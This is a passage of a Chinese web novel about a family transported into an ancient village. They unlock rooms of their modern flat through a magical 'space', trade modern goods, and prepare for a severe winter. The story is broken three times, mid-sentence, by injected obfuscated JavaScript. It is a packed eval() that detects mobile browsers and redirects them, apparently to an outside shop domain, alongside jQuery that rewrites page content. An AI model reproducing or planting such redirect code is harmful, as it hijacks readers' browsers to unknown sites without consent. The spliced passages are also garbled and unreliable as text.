l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17229744|197609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了充满秩序的现代?还是经历了这么多,只有在这里的时候,才能感觉到现代的一切不是做梦? 拉开门,赵宁宁踏入家门口。 玄关处左手边,宁妈没有再做鞋柜,而是做了一个通顶的储物柜。 右手边则是一个干湿分离洗手台,往里走是客人用的厕所。 赵宁宁往前走,还没进入洗手台区域,便被一道无形的屏障拦住。 退回玄关往客厅走,也过不去,她只能在门口两平米的空间活动。 如果硬要走的话,系统会一直弹权限不足的提示。 宁宁只能去探索门口的柜子。 上下两处都是柜子,中间预留了一处凹槽空间放东西,上面着家里的备用钥匙,还有酒精、香薰、口罩,小瓶装的矿泉水。 靠近角落的地方还摆着一个收纳盒,盒子打开,里面放的是手帕纸、柔纸巾、和湿纸巾。 看到阔别已久的纸巾,赵宁宁连忙拿出来揣怀里,纸巾!这可是柔软的纸巾! 宁妈平时最爱看收纳整理的视频,家里柜子里都被她塞得满满当当整整齐齐的,赵宁宁蹲下来拉开柜门,一眼看过去,里面除了柜子上面手帕纸和柔纸巾的补充,还有一些没用完的单独包装的酒精湿巾、手消,除味剂、粘**器、清洁湿巾、还有漱口水。 打开上面的柜子,里面放着几把雨伞,有拆封使用过的,也有没拆过的。宁爸单位喜欢举办徒步比赛,每次比赛都会发一大袋子日常用品,多出来的雨伞牙膏和毛巾肥皂,全在这里放着。 赵宁宁取出一些,准备待会带出去给宁妈他们一个惊喜。 除了这些东西,柜子里还放了几瓶花露水,止痒的喷雾,还有家庭装蚊香,赵宁宁看到,忙给搜罗过来。 王李村的蚊子可毒了!分家后宁妈会在睡觉前给每个屋子里燃上艾草熏一熏,即便如此,他们一家四口还是被蚊子天天咬。 最后,柜子里还塞了一叠赵启学校活动奖品——印着学校logo的帆布袋。 赵宁宁把手里的东西放在柜子上,拿出两个帆布袋,装得满满地提出空间。 “妈妈妈妈!”赵宁宁喊:“发财了发财了!” “这孩子,大白天说什么傻话呢。”宁妈打着蒲扇从堂屋出来,看见赵宁宁手里提着帆布袋,一惊:“你!你能进屋了?!” “只能进到门口!”赵宁宁把东西放堂屋的饭桌上,摊开给宁妈看,“我拿了点柜子上的东西出来用。” “真好……”宁妈爱惜地摸了摸纸巾,“你把纸巾放回去吧,这些纸巾比古代的干净,咱们留着应急用。” “嗯!”赵宁宁把纸拨到一旁,说:“要是储物间能进去就好了,里面全是抽纸。” “傻孩子,咱们家就囤了这么点纸,总有用完的时候,所以要省着点用。”宁妈摸摸女儿的头,“这花露水现在倒是能用上,用完就用完,至少这段时间不遭罪了。” “不。”赵宁宁说:“咱拿去卖掉吧!” “卖掉?卖什么?”宁爸声音比人先到,话音刚落,他从院子里过来,后面还跟着赵启。 他们两个刚才在赵启的房间研究手摇风扇,听见赵宁宁的声音才赶过来的。 一进门,宁爸和赵启便看到桌子上摆的一堆现代才有的东西,宁爸拿起来稀罕了好一会才放下。 “你刚才说,要把花露水卖掉?”宁爸问。 赵宁宁点头,“你看,咱们家接下来只能吃老本,还是得赚钱啊!” “花露水就这几瓶,咱们自己留两瓶,剩下三瓶分装一下卖出去。”赵宁宁说:“不然接下来几个月咋整。” “那也行。”宁妈沉吟道:“这东西就图个新鲜,老赵,你去想一想,给这几瓶花露水编个由头,我们有空去县城买点瓷瓶装了,再去向段东家打听打听,看看怎么卖好。” “那不简单。”宁爸指着花露水说:“就说游商从外地弄来的香露,可以驱赶蚊虫,这花露水浓度应该有些高,得稀释一下。” 这事交给宁爸去琢磨,宁妈拉着两个孩子坐下,问赵宁宁:“你空间是怎么升级的?怎么突然就能进去门口了?” 赵宁宁思索,她今天进空间也没干什么特别的事啊……对了!桃子! 第20章 寒灾预兆 她进空间,把桃核和垃圾扔在一起了,然后那袋垃圾消失,空间就突然升级了! “还是跟垃圾有关系。”赵宁宁把自己的思路说了,宁妈和赵启一致赞同她的想法。 “那你要不要再去丢一个桃核试试?”宁妈一想到家里还有那么多间房等着解锁,心情激动,“小启,你把大门闩上,小宁,你现在试试!” 赵宁宁点头,等门都关好之后,她闪回空间。 刚才洗的那盘桃子还在电梯厅里放着,赵宁宁拿起一个,放在刚才垃圾消失的地方。 没有变化。 等了一会,赵宁宁把桃子按照一平米的距离,挨个在电梯厅里放了一遍。 还是没有变化。 ——难道得是桃核才行? 赵宁宁吃了一个干净的桃子,把桃核按照刚才的方法一一放了一遍。 空间还是没动静。 这不行,她开始复盘刚才进空间的所有举措。 桃核,丢在了一麻袋的废土上,然后就一起消失了……对了!不管是麻袋还是废土,那都是标准的“垃圾”啊!桃核丢进去,应该是跟着那袋子垃圾一起被系统给“回收”走了?! 赵宁宁窜出空间,来不及跟家里人说话,兴冲冲地回房间拿了一个麻袋,往里塞了一些不要的东西,又去厨房,把厨房今天早上择菜扔的一堆菜叶塞进去,然后又闪回空间。 把这袋“垃圾”放在刚才的地方,赵宁宁屏息等待片刻——垃圾没有变化。 ——怎么回事? 系统也真是坑人,都不给个说明书的!赵宁宁内心咆哮,端着一盘桃子失落地走出空间。 “怎么样?”宁爸问,话音刚落他就被宁妈轻轻推了一把。 “没事宁宁,应该是跟我们的系统升级一样,系统慢慢地给你开放权限呢。”宁妈安慰。 他们一家四人,四人的系统都不一样,升级方式也不一样,宁爸是钓点增多会升级,宁妈是只要往空间里放东西,空间就会变大,赵启则是修复不同东西会升级。 唯独赵宁宁,除了每隔三天能搜索一下新苑小区的垃圾,其他都没什么变化。 听到宁妈的安慰,赵宁宁点头,拿着一个桃子慢慢吃,突然,她想起什么,问:“妈,你还记得咱们小区是几点上门收垃圾吗?” 宁妈回想,“应该是八点之前吧……之前走得早的时候,碰见过几次打扫卫生的人。” “你说,是不是要等收垃圾的人上门,那袋垃圾才会被收走?”赵宁宁啃了一口桃,“刚才站在家门口,我看墙上的挂钟是七点五十多。” 她在电梯厅里研究怎么触发解锁区域条件的时候,时间应该超过八点了。 “有这个可能,反正你多比对比对,做实验就是要多试试。”赵启说:“空白样本、桃子样本、桃核样本、还有垃圾样本你都试过了,等明天上门收垃圾的时候,你再试试看。” 赵宁宁点头。 第二天,一大早赵宁宁从床上爬起来,拎着一大袋垃圾,郑重地摆在电梯口。 约莫是七点半的时候,垃圾突然闪动几下,消失在原地。 同时,赵宁宁眼前弹出系统提示: 【系统:恭喜宿主解锁新区域:洗手台】 看到提示,赵宁宁忙打开家门进去,小心地朝洗手台走去,这次,她没有再被拦住。 可以进去!赵宁宁狂喜,惊喜过后,她把水龙头打开,洗手台的水汩汩流出,浇在手上无比凉爽。 赵宁宁高兴地离开空间,把区域解锁的事告诉家里人。 宁爸和宁妈替女儿高兴好一阵子。 八月,宁妈去县城买了瓶子,将花露水分装成十瓶,带到清风楼时,段东家非常感兴趣,以两百两的价格直接收了。 宁妈这次没用屯粮食,家里粮食已经够吃一年了。宁妈用这些银子给家人买了各种补身体的中药,日日煲汤炖肉,时不时还喊周家的人过来吃。 九月,老天依旧没有下雨,河道渐渐干涸,只有半尺宽,随时可能断流,村内村外为了争夺水源,出了好几场乱子。 十月,经过宁妈精心养护,地里的小米总算是抽了点苗,但那细弱发黄的样子,看上去随时都要夭折。 天气仍像是夏日一般热,县城的冰糕和冰粉十分畅销,赵宁宁又贡献出珍珠奶茶的珍珠做法,段东家将方子收走,给了她五十两。 十月底的时候,被关得最久的钱婆子终于被县衙放出来,两家人在路上遇到,钱婆子低着头,不知道在想些什么,宁妈拉着宁宁离她们远了一些。 十一月,天气骤然降温,一夜之间,仿佛从夏天直接跳到了冬天。 猝不及防之下,村里好多人家都被冻病了。 清晨,赵宁宁从被窝里爬出来,感受了一下外面的天气,呲牙咧嘴地把衣服套上,打了个激灵,缓了一会之后,她才拉开房间门出去。 院子里的温度更低,墙角的小草上白白的,赵宁宁蹲下一看,竟然是结霜了! “宁宁快来,外面冷!”宁妈招呼着,等赵宁宁进厨房之后,她立马把门关上。 “诺,用热水去洗漱。”宁妈把小锅的热水舀出来一瓢倒进盆里,赵宁宁洗漱干净,用毛巾擦脸。 “等会去镇上买东西你就别去了,太冷了。”宁妈拉着女儿让她坐在灶洞前面,温暖的火苗舔舐着锅底,赵宁宁伸手烤了烤手,摇头道:“我还是跟你一起吧,不然东西多了,你放不下。” 宁妈想了想还是同意了。一家人吃过早饭,宁爸和赵启也要跟着去。 宁爸的腿历经三个多月,如今已经好得差不多了,只是不能多走路,今日去镇上,可以坐牛车去,宁妈便也不再阻拦。 好久都没一家人逛街了,宁爸平日里就不是个爱闲着的人,今天上街,他话匣子打开,拉着赵宁宁说了一路闲话。 走到镇上,宁妈想去布店打听棉花的事,才得知棉花如今涨价了。 原先只卖三十文,眼下涨到五十文,几乎涨了一半。 因为天气骤然降温,来买棉花的村民听到价格,立刻有些犹豫。 宁妈适时地挤过去,“掌柜,我们家人多,给我们两百斤的棉花。” 四人一人两双被子一个铺底,一百斤棉花便用得差不多了,剩下的要找人做些厚实的衣服,这天气太反常,宁妈总觉得不对。 在镇上能买得起五十斤都算大客户了,掌柜让宁妈直接到后面稍等,带小二称好,宁妈付了十两银子,让小二把棉花拉进一处巷子。 赵宁宁把棉花塞进空间,电梯厅几乎塞不下,她把玄关的门打开放了两包,这才能勉强过人。 回程路上宁妈一言不发,到家把棉花放下来之后,宁妈才说:“老赵,我心里总觉得不踏实。” “你想多买一些,咱们买便是。”宁爸安抚妻子,“反正棉花放着又不会跑,要是天再热,咱们放着慢慢用,总能用完的。要是天再冷……” 宁爸想起来之前在现代的时候,一家人去东北玩,零下二十多度,口罩不戴脸几乎都能冻掉。 “多买些,粮食和盐、糖也买一些。”宁爸说:“不怕吃不完,就怕这破天气以后不好出门去买。” 都结霜了,离下雪不远,万一真下雪,路上有积雪,他们一家子可不好出门。 宁妈点头,放下东西之后,他们一家人又一起去县城,果然,除了棉花、布料、柴米油盐和粮食全涨价了。 家里还剩二百八十两银子,宁妈拿出一百五十两直接给换成了粮食,又买了一百斤棉花,买了油盐,又去西市割了肉,赵宁宁和赵启一直陪着她,隔一段路把东西收进空间,最后和去医馆的宁爸碰头,一家人这才回家。 宁爸怕天寒家里人生病,按照成人和小孩的分量,让程大夫分别开了一些日常通用的药。万一天寒地冻的在家有什么头疼脑热,他们还能自己煎药喝。 回到家,宁妈把东西分了分,放在宁宁房间一些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17229745|197609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,放在空间一些,另外分出来三十斤棉花和两条肉,趁这夜色送去周家。 不敢让村里人知道自家买了这么多棉花过冬,宁宁家只能自己学着做被子,还好小时候宁爸跟着宁宁奶奶学过几下子,他让宁妈把堂屋收拾出来,铺上干净的草席,再铺上床单,就坐在堂屋,将棉花用棉绳弹得蓬松,两块布一对,四边缝好,中间再固定。 一床针脚一般的棉花被子就这样做好了。 第一条只做出来两床,夜里宁妈去找宁宁睡觉,宁爸跟儿子挤在一起。 被子可以自家做,袄可没人会做,宁妈没法子,只能带着棉花去求助何氏。 何氏正想着该怎么还那三十斤棉花的情,女儿找上门来,她立马接过做棉被的活计。 趁这天还不算太冷,赵宁宁带着宁爸去山上搜罗柴火。 晒了一整个夏天,王李村的后山上树枝又脆又干,还有不少枯死在原地的树,赵宁宁只能可惜,她空间太小,不能一下子装这么多。 只能跟宁爸一起,把粗一点的树枝砍下来,分成段放进空间里,运回家在劈成好烧的长度堆叠。 丰宁县的人都以为那场气温骤降只是一次天气异常。 却没想到,十一月才过一半,天空竟然开始飘起了雪来。 看着院子的雪花,宁爸和宁妈拉着两个孩子躲进堂屋里烤火。 “爸妈,这天气也太奇葩了,十一月就下雪,那十二月怎么办?”赵宁宁说:“我可是打听了的,往年起码都是十二月多才下雪!” “而且感觉好冷……”赵启对着火盆搓手,“我问周剑舅舅,他说今年不但冷得早,还比往常要更冷。” “要不咱们家弄一个火炕吧?”赵宁宁把手揣起来,“就像东北那样,底下过烟,人睡在上面。” “也成,先把火炕盘起来,再冷下去,咱们就住一个屋。”宁妈赞许地冲女儿点点头,“还是宁宁脑子活,我怎么就没想到火炕的事?” “嘿嘿……”赵宁宁不好意思地笑笑,打小就在南方住,她之前最爱看东北人猫冬小视频了,连盘火炕的小技巧她都能说出个一二来。 说干就干,等雪停之后,宁爸张罗着去买青石板,宁宁家有心和周家交好,赵宁宁将火炕的好处讲了之后,赵氏也同意在家搭个火炕。 宁爸就带着周剑一起,去隔壁烧砖的砖窑那里定砖头,火炕用的砖头不多,一辆车便拉回来了,里正看宁宁家里造得乱七八糟的,好奇过来询问,回家一盘算,也跟着盘上炕了。 村长家见到里正家这般做,也跟着去学,村里有点家底又怕冷的人家纷纷跟风。 起码有三分之一的人家都盘了炕,不说炕好不好,反正不冒烟也会发热,只要睡前填上柴火,睡上去一整夜都暖烘烘的。 随着十二月的来临,丰宁县又下了几场大雪,所有盘了炕的人家都感叹:有炕真舒服! 老赵家。 村里人开始盘炕的时候,钱婆子还想着也跟着去盘一下,可是在她被关的这三个月里,赵文远摸走了她钱匣子里三十两银子! 剩下的银子她还要再买些粮食呢,家里粮食都卖光了,只够吃到年底的,如果不买一些回来,年底一大家子都得饿着肚子过年。 抠抠搜搜,钱婆子把钱匣子又换了个隐蔽的地儿放起来了。 她一直在等镇上的粮价降下来,可随着大雪,粮价不但没降,还涨到了二十文一斤! 要知道,她们家卖粮的时候,白米才十六文一斤! 眼看就要过年,家里的米缸都空了,赵老头三催四请之下,钱婆子才舍得从匣子里摸出一两银子,攥在手里去买粮食。 此时,白米已经涨到了二十二文一斤。 钱婆子自然舍不得买白米吃,称了一些粗面和粗粮,割了一刀只有两指宽的肉带回去,便算是“过年”。 而宁宁家这边,赵宁宁经过几个月的努力,在冬至这天,终于解锁了第五个区域! 第21章 大雪纷飞,第五区域解锁 【系统:恭喜宿主解锁新区域:厨房】 赵宁宁刚睡醒,人还迷糊着,看到眼前弹出的系统提示还以为是在做梦。 揉揉眼,系统提示还在,赵宁宁一个激灵,直接从床上坐起来。 “终于解锁了!” 这几个月她一直在摸索空间升级技巧,每天定点往电梯门口放精心准备好的“垃圾”。 但是中间只升级过一次,那一次赵宁宁解锁了洗手间,从此实现上厕所自由。 但今天这个区域,是他们全家心心念念已久的厨房! 想到厨房里久违的食物和饮料,赵宁宁掀开被子下床,支起窗户看了一眼外面。 外头正下着大雪,趁家人还没起来,赵宁宁披着棉袄直接闪进空间。 打开大门,顺着玄关往前走,右手边便是家里的中式厨房,宁爸平日里钓完鱼最爱琢磨做吃的,宁妈又爱囤东西,当时装修厨房的时候干脆把餐厅的位置合并扩成了二十平米。 除了**门大冰箱以外,疫情时候,宁妈趁机还买了两个两百升的升冰柜,一个放生食,一个放熟食,后面大家恢复正常出行之后,宁妈也没让那两个冰柜闲着,在里面囤满了东西。 赵宁宁打开**门冰箱——上面两层是新鲜的白菜、生菜、菠菜、萝卜、土豆、番茄、青椒、西蓝花、玉米……还有她最讨厌的豆角。 这本来是宁妈为了烫火锅吃而准备的食材。 中间一层放的是饮料,左边摆着可乐,右边放了几瓶柠檬水,最右边还放了三瓶一升装的牛奶。 下面两层是较重的水果,赵宁宁一家穿来的时候还是夏季,里面有桃子、红提、杏子、橙子、凤梨、苹果、百香果……还有几种柠檬、还有一整个西瓜。 虽然种类繁多,但每一种数量只有两三个,这是赵宁宁说要做水果茶用,宁爸才买了这么多的。 赵宁宁留恋地看了一眼可乐,打开锁鲜抽屉,里面的鸡蛋也码得整整齐齐的,旁边还放着咸鸭蛋和粽子。 冰箱上方的两扇门上的格子里,放的都是需要冷藏保存的各类酱料,除了酱料以外,还有宁妈偶尔蒸馒头用的酵母和赵宁宁喜欢吃的巧克力。 打开冰箱的冷藏区,里面放的是赵宁宁一家爱吃的冰激凌,为了防止窜味道,冰箱里放的是一些密封好的速冻食品。 这些都是零头,重头戏还在冰柜,赵宁宁掀开冰柜的两个盖子,冰柜往外丝丝冒着寒气,里面是宁妈囤的腌制好的肉、整只的鸡鸭鹅、猪牛羊的排骨、还有大块未分割的大块的冻肉。 宁妈给冰柜做了分隔,冰柜另一半屯的是宁爸钓上来的鱼,还有宁妈爱吃的海鱼、大虾、墨鱼鱿鱼…… 合上生食冰柜的盖子,赵宁宁去看熟食柜子,里面囤的大都是外面买来的速冻食品,各类火锅丸子、馄饨、饺子、馒头、手抓饼…… 厨房收纳柜里,还有一些之前没吃完的米面,赵宁宁刚打开一个柜门查看,便听到空间外传出动静。 空间外传出宁爸嘟嚷天气太冷的声音,赵宁宁从一众食物中回过神,她把衣服穿好,拎起一提可乐,直接闪身带出空间。 “爸!你看我带了什么!”赵宁宁举起可乐,站在堂屋屋檐下的宁爸看到,先是一呆,继而惊喜万分。 宁爸:“我的天!这是什么!” “怎么了?”赵启急匆匆地从房间出来,连袖子都没穿好,见院子里无事发生,又看到妹妹手里拿着的东西,赵启眨眨眼。 “可乐!”赵宁宁说:“厨房解锁了!” 听见声音,宁妈也出来了,几个人将可乐带进厨房,稀罕了一会,宁妈问:“那冰箱里的冻饺子是不是也能拿出来了?” 赵宁宁点头,“妈,你记得真清楚。” 宁妈白了个眼,“我能不清楚吗,保鲜袋里的都是我闲着的时候一个一个包的。” “刚好今天冬至,也不用包了,我把那饺子拿出来,咱们直接吃!”赵宁宁举手,如果没记错的话,宁妈包的饺子里可是有一整个虾仁的! 又问了家里人还想不想吃厨房里别的东西,赵宁宁拿了一个小篮子挎着,进空间搜罗吃的。 宁爸给柴火灶点上火,咂吧着嘴说:“哎,真不容易,这都过去半年了,宁宁终于解锁到厨房,咱们几个也算是跟着沾沾福气了。” “升级空间哪有这么容易。”宁妈叹气,半年过去,她的空间如今是六平米,好在每个月都能看到空间有变化,宁妈心态放得很稳。 宁爸自从回村之后,钓点刷新的便少了,他腿好个差不多后,去山上和镇上时又刷新出四个钓点,多数都是宁宁家能用银子买得到的实物。 赵启的修复功能倒是进阶了一点,他可以把修复过的物品进行二次“进阶”。 总的来说,家里人的金手指都在往好的地方变化。 两个大人琢磨了一会便不想了,正好,赵宁宁也从冰柜把冻饺子给取出来了。 下好饺子,一人一罐可乐打开,赵宁宁站起来举杯:“冬至快乐!” “冬至快乐!” 喝着久违的可乐,气泡扎嘴麻麻痒痒感觉让赵宁宁十分怀念在现代的那一堆零食。 如果能解锁客厅和储物间就好了,宁妈特意给两个孩子买了一个货架,货架上全是去商超买的零食。赵宁宁高考前,宁妈都没让架子空着过。 想到零食,赵宁宁想起来,她在冰箱里冻的还有榴莲,闪身回空间,她把榴莲取出来放在锡纸上,又拿出芝士碎撒在上面,连着锡纸一起放进空气炸锅,定好时之后,赵宁宁在厨房倒腾食物。 橱柜里有一家四口吃了一半的米、面,还有新买的没来得及拆封的杂粮。 另外就是一些调料用品,宁爸宁妈闲的时候喜欢学着网上的教程做菜给家里吃,赵宁宁没话说,她穿越之前还要学着网上教程做果茶呢!只能说不愧是一家人。 除了调料以外,厨房最多就是各类锅具和碗碟,赵宁宁拿出一套,是宁妈之前在景德镇买了还没舍得用,说过年了再拿出来用。 这套瓷具是釉下彩的青瓷,赵宁宁拿出一只碗对着光,碗身一圈有镂空的牡丹花纹。 这个工艺,在古代还没见过。 赵宁宁拿了一只碗带出空间。 刚才几人吃了饭,这会嫌冷还没回房间,宁妈干脆烧着厨房里的火,准备趁着有火给家里做点面食放着。 赵宁宁一出来,她停下手里的动作,“怎么了宁宁?” 她还是第一次看见女儿愁眉苦脸的样子。 赵宁宁把青瓷碗放在桌上,“妈,你还记得这个碗吗?” 宁妈一看,刚开始还没想起来,直到看见上面隐隐约约有着花纹,她一拍手,“我想起来了!这不是买那个花瓶之后,咱们在另一家店买的吗!” “你怎么把它拿出来了?” “我想,要不要把它带出去卖了。”赵宁宁摩拳擦掌,“这样家里就可以一步脱贫致富,只是它的工艺太特殊,卖这个的话可能没有上一个花瓶那样简单。” 坐在灶洞前的宁爸沉吟片刻,说:“咱们俩去府城,伪装一下在府城卖掉,人多手乱的,别人也找不到咱们。” 想到这儿,宁妈也开始担忧起来,“咱家不缺银子,要不先留着?” 赵宁宁摇头,“妈,你看这天气,现在要去府城坐车还能勉强过去,要是再下雪,恐怕就过不去了。” “我们去府城,一是卖掉它换银子,二是多囤一些药材和吃的,还有过冬的东西。” 丰宁县太小,之前也没冷成这个样过,宁妈本来还想打听着买些皮**做成的大衣,结果丰宁县根本没有。 说到皮衣,宁妈终于松了口。 本想着一起去府城,宁爸揽着宁宁的肩膀说:“去的人越多,越危险。我带着宁宁,如果遇见什么事她可以躲,我一个大人可以跑。” 想想也是,宁妈只能放手,让他们两个人一起去。 说干就干,宁爸坐着牛车去县城打听怎么坐车去府城,宁妈带着两个孩子,给他俩准备些路上要拿出来的干粮。 之前在县城买的有白面,宁妈拿出一袋,倒出一些在木盆里,又拿出一些杂粮面,两种面掺好之后,加水加酵母给它和成面絮。 再给它揉一揉放在靠火盆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17229746|197609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 近的地方,让它慢慢发酵。 趁这个空闲,宁妈又倒出点面来,一边倒一边让赵启把锅烧上,她要做一个家里人都爱吃的油饼。 这次要用滚水烫面,烫好后用筷子把面絮搅散,稍微放凉一些,揉成一个个面团,再在面团中揉进去油酥。 最后把整张饼用擀面杖擀开,热锅浇点油,丢进去一烙,一张外酥里嫩的油饼便好了。 三个人打配合,一个烧火,一个烙饼,一个擀面,不一会的功夫,锅台旁边的箩筐里就堆了一小叠油饼。 宁妈把手放上去,箩筐直接消失,三个人见怪不怪,赵宁宁用木铲子继续翻动锅里的饼。 油饼烙好之后,宁妈让赵宁宁去空间里拿出一些丸子和肉片出来,和着蔬菜,做了一锅丸子肉片汤,三人中午一手油饼,一手丸子汤,直接在厨房吃的了饭。 下午,盆子里的面发好了,宁妈把面倒出来,挨个揉吧揉吧团成馒头的样子,考虑到路上不太好热,宁妈特意给做成小孩拳头大小,这样不显眼。 馒头揉好放一边,宁妈准备他俩路上吃的饼子——也是杂粮的,这个做法简单,两种面一和,擀开烙一下便好。 刚烙出来的杂粮饼闻起来甜香甜香的,赵宁宁忍不住,近水楼台先得月,她一手拿着铲子烙饼,一手偷偷从烙好的一堆里,偷偷将底下的饼子边缘撕下来,递给灶台前面的哥哥当**,赵宁宁偷偷吃了一口自己的战利品。 真好吃!顶着被妈妈说的风险偷吃到的饼子太美味了! 饼子做好之后,宁妈把锅里添上水,把发好的馒头连着蒸笼一起放上去。 随着水汽上升,整个厨房都变得温暖起来。 赵宁宁想,路上吃饼子归吃饼子,还要有就饼子吃的菜啊?!厨房区域都解锁了,总不能让她吃咸菜吧?! 她回去空间,从冰柜里拿出一大块牛肉,连带着调料一起拿出来,让宁妈给她做麻辣牛肉条。 宁妈刚洗完的手,拗不过女儿,只能指挥着赵宁宁干活——先回空间把肉放着解冻,再拿出干辣椒让赵宁宁慢慢切着。 赵宁宁切完,空间里泡着水的牛肉才化了一半,宁妈说不妨事,赵宁宁便把肉拿出来放在案板上,宁妈给分成几大块,放入锅里烧水。 烧水的空当,赵宁宁把事先准备好的葱姜香叶丢进去,等锅烧开,宁妈拿着大勺子把浮沫撇掉,让赵启退出两根柴火,小火慢慢煮了两刻,才捞出来。 凉了一会,把牛肉切成条,丢进热油锅里炸一下,等到焦黄焦黄的时候,宁妈直接用笊篱给捞出来放一边。 趁着时候,让赵启把小锅烧起来,宁妈在小锅里把炸好的牛肉条、花椒粒、赵宁宁切好的辣椒丝等调料一同放进去翻炒。 一股霸道的香气从小锅中迸发出来,赵宁宁站在一边,闻得口水都要流出来了。 看到女儿的表情,宁妈感到好笑,夹出来几个,放在碗里,让两个孩子尝尝味。 “香!够味!”赵宁宁举着大拇指,“不愧是妈!” 赵启点头,附和道:“好久没吃了,还是这么好吃!” 宁妈笑笑,把炒好的牛肉条放一边。 这时候,宁爸带着打听好的消息回来了。 食物和衣服都准备好了,怕路上的大雪弄湿衣服没替换的,宁妈把他俩的衣服都给打包好,让赵宁宁放在她的空间里。 走之前,宁妈把家里剩的银子拿出三十两出来塞给他们爷俩,嘱咐他们卖不卖得了不要紧,要安全回来。 何氏不知道小外孙女要去府城做些什么,听说她和赵老二大冬天的要出远门,连夜把之前没做完的帽子收了针线,一早赶去村口,把棉花帽子塞到宁宁怀里。 赵宁宁谢过之后,将棉花帽子戴在头上,整个人顿时暖和起来,她把帽子掖紧,用宁妈做的棉布围巾把自己裹得严严实实的,坐在牛车上迎着清晨的雾离开王李村。 这次去府城,主要就是买些皮大衣和过冬的物资。 两人背着掩人耳目的包袱,坐着村里的牛车到了丰宁县,稍作停留,便在县门口搭上宁爸打听好的商队。 第22章 冰箱是个聚宝盆,新的垃圾刷新点 商队往来各处城镇,又有押镖的人在,比单独一家人上路要安全得多,所以经常会接一些带人的活计,一人五两银子,只带路,路上不包吃也不包喝。 赵宁宁和宁爸找到车队的时候,车队已经有两拨人在了。 一拨是一对主仆,他们有自己的马车,只需要商队引路和保证安全。还有三个,看上去是一家三口,都穿着丝绸做的衣服,不知为何,没有自己雇马车来,而是选择和赵宁宁他们那样,和货物挤在一起。 车厢里堆了大半车的箱子,有些拥挤,门口还会漏风,趁车还在等人,宁爸把手里的包袱拆开,把里面的被子往外掏出来垫在车厢里。 这样等会坐车的时候不那么冷。 铺好被子之后,赵宁宁让宁爸看好车门,闪身回空间。 她要带的其他行李基本上都放在电梯厅里的架子上,出发之前,宁妈还给他们弄来了一个手炉,架子上还有几包炭。 赵宁宁把手炉抱出来,往里放上几块炭之后,拿出空间。 从怀里摸出火柴,赵宁宁擦着之后丢进手炉里。 这炭不知道是怎么做的,易燃,下面细碎的炭粉烧着之后,赵宁宁对着吹了几口气,看到上面的炭有红光出现,她才停嘴。 把手炉盖子盖好,赵宁宁放到宁爸手里,如法炮制地去点另一个手炉。 “这火柴哪来的?”宁爸目光炯炯地问。 “你忘了。”赵宁宁把火柴盒子拿出来,上面写的有蛋糕店的名字,“是穿越之前妈妈丢出来的垃圾里找出来的。” 因为在村里生活,不方便用火柴,赵宁宁才一直放着,刚才也是,本来她都要去拿打火石引火,突然想到还有火柴,她才拿出来。 “还是火柴好!”宁爸抱着手炉,等炉子温度升起来的时候,商队等的最后一拨人也到了。 是一对爷孙。 头发花白的老爷爷向领队的道了歉之后,商队的人安排他们去后面坐着,车队开始前行。 连日大雪,本来平整的官道上被车辙压出来各种形状的冰沟,赵宁宁坐在车上面,感觉自己的脑仁都要被颠散了。 马车速度要比平日走得慢,到中午的时候,车队停下来,外面招呼赵宁宁两人下车透透气,顺便吃饭。 外面天寒地冻的,赵宁宁摇头婉拒,她可以回空间上厕所,也可以在车厢里吃东西。 宁爸下车,去远处放风之后,回到车上。 赵宁宁端出一个塑料小盆,里面是温水,洗过手之后,她连盆子带水地放回空间,又拿出宁妈准备好的饼子出来。 爷俩从小罐子里夹出几块牛肉条裹上,中午这样凑合着吃。 商队饮好马匹,又给马儿喂好草料后,下午接着赶路。 一直到天黑,才停在一处空地上。 今天晚上要在这边过夜了。 这次,车上的人都下车了,商队将所有的马都牵到一边,有专人去喂,一拨人留在原地看着货物,还有几人去准备晚上的吃食。 下车之前,赵宁宁回厨房,打开燃气灶烧了一锅热水,和提前准备好的凉白开混合之后,倒进水囊里。 水囊温温的,宁爸坐在车门口,靠着车慢慢啃宁妈蒸的馒头。 几个跟随车队的人看到他穿着朴素,手里捧着的是杂粮馒头,倒也没怎么关注他们,车队的人看到这两人只吃一些干饼子和馒头,还好心送来了两碗热水。 简单吃过“晚饭”后,各自回去休息。 车队自带帐篷,从车上卸下来之后在空地上搭起来,那主仆二人也有帐篷,剩下只有一家三口的和那对爷孙,他们几个只能在车厢里挤挤。 赵宁宁两个也是,不过赵宁宁有空间,她肯定不会睡在车里的。 宁妈早料到晚上过夜会这样将就,让赵宁宁把他俩所有的棉被铺底都带上了,她回空间把玄关处打包好的棉被给拿出来,宁爸在车厢铺好,再在最上层要盖的棉被上搭上灰扑扑带补丁的薄被子。 这样看上去十分低调。 “我守着,你回去睡吧。”宁爸低声说。 “睡什么呢,这还早,爸你等一会,我回去整点饭吃。”赵宁宁说完,临走之前把自己的手炉也塞给了宁爸。 回到厨房,赵宁宁从冰柜里拿出两盒饺子,看清上面写着的字后,去开火烧水。 外面人多,不太适合吃味道大的食物,素饺子就刚好,味道小,不用蘸醋都好吃。 把饺子下进锅里,赵宁宁准备去做点可乐姜水给宁爸。 拉开冰箱冷藏,赵宁宁揉揉眼。 不对劲,她记得可乐明明只剩下一扎零两瓶的,怎么现在还是两扎?! 